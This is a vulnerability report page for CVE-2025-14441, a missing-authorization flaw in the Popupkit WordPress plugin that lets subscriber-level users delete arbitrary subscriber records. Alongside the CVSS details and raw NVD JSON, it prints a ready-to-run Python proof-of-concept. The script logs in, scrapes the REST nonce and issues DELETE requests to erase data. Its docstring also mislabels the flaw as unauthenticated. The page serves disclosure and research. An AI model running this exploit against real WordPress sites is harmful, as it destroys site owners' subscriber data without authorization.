Security Vulnerability Report
中文
CVE-2025-14441 CVSS 4.3 MEDIUM

CVE-2025-14441

Published: 2026-01-06 05:15:59
Last Modified: 2026-04-15 00:35:42

Description

The Popupkit plugin for WordPress is vulnerable to arbitrary subscriber data deletion due to missing authorization on the DELETE `/subscribers` REST API endpoint in all versions up to, and including, 2.2.0. This is due to the `permission_callback` only validating wp_rest nonce without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary subscriber records.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Popupkit (Popup Builder Block) <= 2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14441 PoC - WordPress Popupkit Unauthenticated Subscriber Deletion This PoC demonstrates the broken authorization vulnerability in Popupkit plugin where DELETE /subscribers REST API endpoint lacks proper capability checks. """ import requests import sys from urllib.parse import urljoin def delete_subscriber(target_url, subscriber_id, username, password): """ Delete arbitrary subscriber via vulnerable REST API endpoint Args: target_url: Base URL of the WordPress site subscriber_id: ID of the subscriber to delete username: WordPress username (subscriber role or higher) password: WordPress password """ # WordPress REST API endpoint for subscribers api_endpoint = f'/wp-json/popupkit/v1/subscribers/{subscriber_id}' url = urljoin(target_url.rstrip('/'), api_endpoint) # Create session and authenticate session = requests.Session() # Get authentication nonce via login login_url = urljoin(target_url, '/wp-login.php') auth_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Attempt to login login_response = session.post(login_url, data=auth_data, cookies=session.cookies) # Get REST nonce from wp-admin nonce_url = urljoin(target_url, '/wp-admin/admin-ajax.php') nonce_response = session.get(nonce_url) # Extract wp_rest nonce from page source import re nonce_match = re.search(r'wpApiSettings\s*=\s*\{[^}]*nonce\s*:\s*["\']([^"\']+)["\']', nonce_response.text) if not nonce_match: print("[-] Failed to obtain REST nonce") return False nonce = nonce_match.group(1) print(f"[+] Obtained REST nonce: {nonce}") # Send DELETE request to vulnerable endpoint headers = { 'X-WP-Nonce': nonce, 'Content-Type': 'application/json' } print(f"[*] Sending DELETE request to {url}") delete_response = session.delete(url, headers=headers) if delete_response.status_code == 200 or delete_response.status_code == 204: print(f"[+] Successfully deleted subscriber ID: {subscriber_id}") return True else: print(f"[-] Failed to delete subscriber. Status: {delete_response.status_code}") print(f"[-] Response: {delete_response.text}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <subscriber_id> <username> <password>") print(f"Example: {sys.argv[0]} http://example.com 123 admin password") sys.exit(1) target = sys.argv[1] sub_id = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] delete_subscriber(target, sub_id, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14441", "sourceIdentifier": "[email protected]", "published": "2026-01-06T05:15:59.207", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Popupkit plugin for WordPress is vulnerable to arbitrary subscriber data deletion due to missing authorization on the DELETE `/subscribers` REST API endpoint in all versions up to, and including, 2.2.0. This is due to the `permission_callback` only validating wp_rest nonce without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary subscriber records."}, {"lang": "es", "value": "El plugin Popupkit para WordPress es vulnerable a la eliminación arbitraria de datos de suscriptor debido a la falta de autorización en el endpoint de la API REST DELETE `/subscribers` en todas las versiones hasta la 2.2.0, inclusive. Esto se debe a que la 'permission_callback' solo valida el nonce de wp_rest sin verificar las capacidades del usuario. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor o superior, eliminen registros de suscriptor arbitrarios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/popup-builder-block/tags/2.2.0/includes/Routes/Subscribers.php#L64", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/popup-builder-block/tags/2.2.0/includes/Routes/Subscribers.php#L77", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/popup-builder-block/trunk/includes/Routes/Subscribers.php#L77", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3421671%40popup-builder-block&new=3421671%40popup-builder-block&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/48f5a44d-d01f-4c41-98da-7c1f6c65c254?source=cve", "source": "[email protected]"}]}}